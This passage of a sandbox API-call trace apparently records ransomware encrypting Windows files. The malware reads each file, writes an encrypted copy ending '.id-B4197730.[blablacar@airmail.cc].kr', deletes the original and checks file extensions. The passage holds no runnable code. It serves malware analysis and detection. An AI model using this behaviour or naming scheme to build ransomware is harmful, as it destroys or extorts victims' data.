files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0108.754] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=263896) returned 1 [0108.754] CloseHandle (hObject=0x384) returned 1 [0108.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0108.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0108.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0108.912] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.912] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0109.098] GetLastError () returned 0x0 [0109.098] ReadFile (in: hFile=0x340, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x406d8, lpOverlapped=0x0) returned 1 [0109.107] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x406e0, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x406e0, lpOverlapped=0x0) returned 1 [0109.113] ReadFile (in: hFile=0x340, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0109.113] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xf4, lpOverlapped=0x0) returned 1 [0109.114] SetEndOfFile (hFile=0x38c) returned 1 [0109.114] CloseHandle (hObject=0x38c) returned 1 [0109.121] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.121] SetEndOfFile (hFile=0x340) returned 1 [0109.124] CloseHandle (hObject=0x340) returned 1 [0109.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0109.125] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 1 [0109.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0109.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0109.125] lstrlenW (lpString=".doc") returned 4 [0109.125] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0109.125] lstrlenW (lpString=".docx") returned 5 [0109.125] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0109.125] lstrlenW (lpString=".pdf") returned 4 [0109.125] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0109.126] lstrlenW (lpString=".xls") returned 4 [0109.126] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0109.126] lstrlenW (lpString=".xlsx") returned 5 [0109.126] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0109.126] lstrlenW (lpString=".ppt") returned 4 [0109.126] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0109.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0109.126] lstrlenW (lpString=".zip") returned 4 [0109.126] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0109.126] lstrlenW (lpString=".rar") returned 4 [0109.126] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0109.126] lstrlenW (lpString=".bz2") returned 4 [0109.126] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0109.126] lstrlenW (lpString=".7z") returned 3 [0109.126] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0109.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0109.126] lstrlenW (lpString=".dbf") returned 4 [0109.126] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0109.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0109.126] lstrlenW (lpString=".1cd") returned 4 [0109.126] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0109.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0109.126] lstrlenW (lpString=".jpg") returned 4 [0109.126] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0109.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0109.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0109.127] lstrlenW (lpString=".doc") returned 4 [0109.127] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0109.127] lstrlenW (lpString=".docx") returned 5 [0109.127] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0109.127] lstrlenW (lpString=".pdf") returned 4 [0109.127] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0109.127] lstrlenW (lpString=".xls") returned 4 [0109.127] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0109.127] lstrlenW (lpString=".xlsx") returned 5 [0109.127] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0109.127] lstrlenW (lpString=".ppt") returned 4 [0109.127] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0109.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0109.127] lstrlenW (lpString=".zip") returned 4 [0109.127] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0109.127] lstrlenW (lpString=".rar") returned 4 [0109.127] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0109.127] lstrlenW (lpString=".bz2") returned 4 [0109.127] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0109.127] lstrlenW (lpString=".7z") returned 3 [0109.127] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0109.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0109.127] lstrlenW (lpString=".dbf") returned 4 [0109.127] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0109.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0109.127] lstrlenW (lpString=".1cd") returned 4 [0109.127] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0109.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0109.128] lstrlenW (lpString=".jpg") returned 4 [0109.128] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0109.128] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0109.128] lstrlenW (lpString="C2R32.dll") returned 9 [0109.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0109.129] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=820416) returned 1 [0109.129] CloseHandle (hObject=0x340) returned 1 [0109.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20 [0109.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0109.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0109.129] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.129] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0109.130] GetLastError () returned 0x0 [0109.130] ReadFile (hFile=0x340, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0) Thread: id = 17 os_tid = 0x4a8 [0079.609] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10000) returned 0x3640098 [0079.609] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10000) returned 0x36500a0 [0079.610] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc458 [0079.610] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x6) returned 0x4de408 [0079.610] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc560 [0079.610] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x100000) returned 0x4013020 [0079.614] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc470 [0079.614] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc470, Size=0x20) returned 0x47f190 [0079.614] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc470 [0079.614] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc470, Size=0x20) returned 0x47f078 [0079.614] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0079.614] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0079.614] Wow64DisableWow64FsRedirection (in: OldValue=0x3a5ff50 | out: OldValue=0x3a5ff50*=0x0) returned 1 [0079.614] lstrlenW (lpString="kernel32.dll") returned 12 [0079.614] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f190 | out: hHeap=0x440000) returned 1 [0079.614] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0079.614] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f078 | out: hHeap=0x440000) returned 1 [0079.614] Sleep (dwMilliseconds=0x64) [0081.419] lstrcmpiW (lpString1=".cmd", lpString2=".kr") returned -1 [0081.419] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24 [0081.419] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0081.701] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=577) returned 1 [0081.701] CloseHandle (hObject=0x2e8) returned 1 [0081.701] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20 [0081.701] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0081.702] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0081.702] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.702] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.702] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0081.702] GetLastError () returned 0x0 [0081.702] ReadFile (in: hFile=0x2e8, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x241, lpOverlapped=0x0) returned 1 [0082.309] WriteFile (in: hFile=0x2f8, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x250, lpOverlapped=0x0) returned 1 [0082.310] ReadFile (in: hFile=0x2e8, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.312] WriteFile (in: hFile=0x2f8, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x104, lpOverlapped=0x0) returned 1 [0082.312] SetEndOfFile (hFile=0x2f8) returned 1 [0082.312] CloseHandle (hObject=0x2f8) returned 1 [0082.313] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.313] SetEndOfFile (hFile=0x2e8) returned 1 [0082.314] CloseHandle (hObject=0x2e8) returned 1 [0082.314] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0082.315] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1 [0082.315] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0082.315] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0082.315] lstrlenW (lpString=".doc") returned 4 [0082.315] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0082.315] lstrlenW (lpString=".docx") returned 5 [0082.315] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0082.315] lstrlenW (lpString=".pdf") returned 4 [0082.315] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0082.315] lstrlenW (lpString=".xls") returned 4 [0082.315] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0082.315] lstrlenW (lpString=".xlsx") returned 5 [0082.315] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0082.315] lstrlenW (lpString=".ppt") returned 4 [0082.315] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0082.315] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0082.316] lstrlenW (lpString=".zip") returned 4 [0082.316] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0082.316] lstrlenW (lpString=".rar") returned 4 [0082.316] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0082.316] lstrlenW (lpString=".bz2") returned 4 [0082.316] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0082.316] lstrlenW (lpString=".7z") returned 3 [0082.316] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0082.316] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0082.316] lstrlenW (lpString=".dbf") returned 4 [0082.316] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0082.316] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0082.316] lstrlenW (lpString=".1cd") returned 4 [0082.316] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0082.316] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0082.316] lstrlenW (lpString=".jpg") returned 4 [0082.316] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0082.316] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0082.316] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0082.316] lstrlenW (lpString=".doc") returned 4 [0082.316] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0082.316] lstrlenW (lpString=".docx") returned 5 [0082.316] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0082.316] lstrlenW (lpString=".pdf") returned 4 [0082.317] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0082.317] lstrlenW (lpString=".xls") returned 4 [0082.317] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0082.317] lstrlenW (lpString=".xlsx") returned 5 [0082.317] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0082.317] lstrlenW (lpString=".ppt") returned 4 [0082.317] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0082.317] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0082.317] lstrlenW (lpString=".zip") returned 4 [0082.317] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0082.317] lstrlenW (lpString=".rar") returned 4 [0082.317] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0082.317] lstrlenW (lpString=".bz2") returned 4 [0082.317] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0082.317] lstrlenW (lpString=".7z") returned 3 [0082.317] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0082.317] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0082.317] lstrlenW (lpString=".dbf") returned 4 [0082.317] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0082.317] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0082.317] lstrlenW (lpString=".1cd") returned 4 [0082.317] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0082.317] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0082.317] lstrlenW (lpString=".jpg") returned 4 [0082.317] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0082.318] Sleep (dwMilliseconds=0x64) [0084.042] Sleep (dwMilliseconds=0x64) [0084.426] Sleep (dwMilliseconds=0x64) [0085.223] Sleep (dwMilliseconds=0x64) [0085.924] Sleep (dwMilliseconds=0x64) [0086.774] Sleep (dwMilliseconds=0x64) [0087.335] Sleep (dwMilliseconds=0x64) [0087.971] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0087.971] lstrlenW (lpString="SetupResources.dll") returned 18 [0087.971] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0087.972] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=17752) returned 1 [0087.972] CloseHandle (hObject=0x33c) returned 1 [0087.972] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80 [0087.972] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.972] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0087.972] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.972] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.972] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0087.973] GetLastError () returned 0x0 [0087.973] ReadFile (in: hFile=0x33c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x4558, lpOverlapped=0x0) returned 1 [0087.979] WriteFile (in: hFile=0x350, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x4560, lpOverlapped=0x0) returned 1 [0087.981] ReadFile (in: hFile=0x33c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.981] WriteFile (in: hFile=0x350, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0xf8, lpOverlapped=0x0) returned 1 [0087.982] SetEndOfFile (hFile=0x350) returned 1 [0087.982] CloseHandle (hObject=0x350) returned 1 [0087.983] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.983] SetEndOfFile (hFile=0x33c) returned 1 [0087.984] CloseHandle (hObject=0x33c) returned 1 [0087.985] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.985] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1 [0087.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0087.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0087.985] lstrlenW (lpString=".doc") returned 4 [0087.985] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.985] lstrlenW (lpString=".docx") returned 5 [0087.986] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0087.986] lstrlenW (lpString=".pdf") returned 4 [0087.986] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.986] lstrlenW (lpString=".xls") returned 4 [0087.986] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.986] lstrlenW (lpString=".xlsx") returned 5 [0087.986] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0087.986] lstrlenW (lpString=".ppt") returned 4 [0087.986] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0087.986] lstrlenW (lpString=".zip") returned 4 [0087.986] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.986] lstrlenW (lpString=".rar") returned 4 [0087.986] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.986] lstrlenW (lpString=".bz2") returned 4 [0087.986] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.986] lstrlenW (lpString=".7z") returned 3 [0087.986] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0087.986] lstrlenW (lpString=".dbf") returned 4 [0087.986] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0087.986] lstrlenW (lpString=".1cd") returned 4 [0087.986] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.986] 